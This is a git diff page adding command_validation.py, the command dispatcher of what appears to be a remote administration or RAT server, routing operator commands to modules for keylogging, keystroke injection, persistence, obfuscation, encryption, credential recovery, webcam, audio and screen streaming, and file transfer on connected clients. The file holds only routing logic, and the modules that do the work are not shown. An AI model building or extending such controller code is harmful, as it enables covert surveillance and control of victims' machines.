summaryrefslogtreecommitdiff
path: root/domestic/parse/command_validation.py
diff options
context:
space:
mode:
Diffstat (limited to 'domestic/parse/command_validation.py')
-rw-r--r--domestic/parse/command_validation.py98
1 files changed, 98 insertions, 0 deletions
diff --git a/domestic/parse/command_validation.py b/domestic/parse/command_validation.py
new file mode 100644
index 0000000..4669fa8
--- /dev/null
+++ b/domestic/parse/command_validation.py
@@ -0,0 +1,98 @@
+from domestic.session.server_handling.persistence import *
+from domestic.session.server_handling.interpreter import *
+from domestic.session.server_handling.messagebox import *
+from domestic.session.server_handling.keylogger import *
+from domestic.session.server_handling.keystroke import *
+from domestic.session.server_handling.obfuscate import *
+from domestic.session.server_handling.download import *
+from domestic.session.server_handling.encrypt import *
+from domestic.session.server_handling.recover import *
+from domestic.session.server_handling.website import *
+from domestic.session.server_handling.upload import *
+from domestic.session.server_handling.system import *
+from domestic.session.server_handling.image import *
+from domestic.session.server_handling.cd import *
+from domestic.session.session_message import *
+from domestic.globally.exit_program import *
+from domestic.globally.clear_screen import *
+from domestic.session.enter_session import *
+from domestic.session.exit_session import *
+from domestic.shell.list_clients import *
+from domestic.globally.get_help import *
+from domestic.globally.sockets import *
+from domestic.globally.options import *
+from domestic.modules.stream import *
+from domestic.modules.audio import *
+from domestic.modules.talk import *
+from domestic.global_state import *
+from domestic.shell.server import *
+from domestic.shell.delete import *
+from domestic.shell.stdout import *
+from domestic.modules.cam import *
+
+
+def command_validation(message):
+ low_message = message['message'].lower()
+
+ if low_message == 'help':
+ get_help()
+ elif low_message == 'exit':
+ exit_program()
+ elif low_message == 'clear':
+ clear_screen()
+ elif low_message == 'sockets':
+ sockets()
+ elif low_message == 'options':
+ options(message)
+ elif low_message == 'stream':
+ stream(message)
+ elif low_message == 'cam':
+ cam(message)
+ elif low_message == 'audio':
+ audio(message)
+ elif low_message == 'talk':
+ talk(message)
+ elif state['session']['active']:
+ if low_message == 'break':
+ exit_session()
+ elif low_message == 'cd':
+ cd(message)
+ elif low_message == 'image':
+ image(message)
+ elif low_message == 'upload':
+ upload(message)
+ elif low_message == 'download':
+ download(message)
+ elif low_message == 'encrypt':
+ encrypt(message)
+ elif low_message == 'interpreter':
+ interpreter(message)
+ elif low_message == 'keylogger':
+ keylogger(message)
+ elif low_message == 'keystroke':
+ keystroke(message)
+ elif low_message == 'persistence':
+ persistence(message)
+ elif low_message == 'system':
+ system(message)
+ elif low_message == 'recover':
+ recover(message)
+ elif low_message == 'obfuscate':
+ obfuscate(message)
+ elif low_message == 'website':
+ website(message)
+ elif low_message == 'messagebox':
+ messagebox(message)
+ else:
+ session_message(message)
+ else:
+ if low_message == 'list':
+ list_clients()
+ elif low_message == 'server':
+ server(message)
+ elif low_message == 'delete':
+ delete(message)
+ elif low_message == 'session':
+ enter_session(message)
+ else:
+ stdout(low_message, message) \ No newline at end of file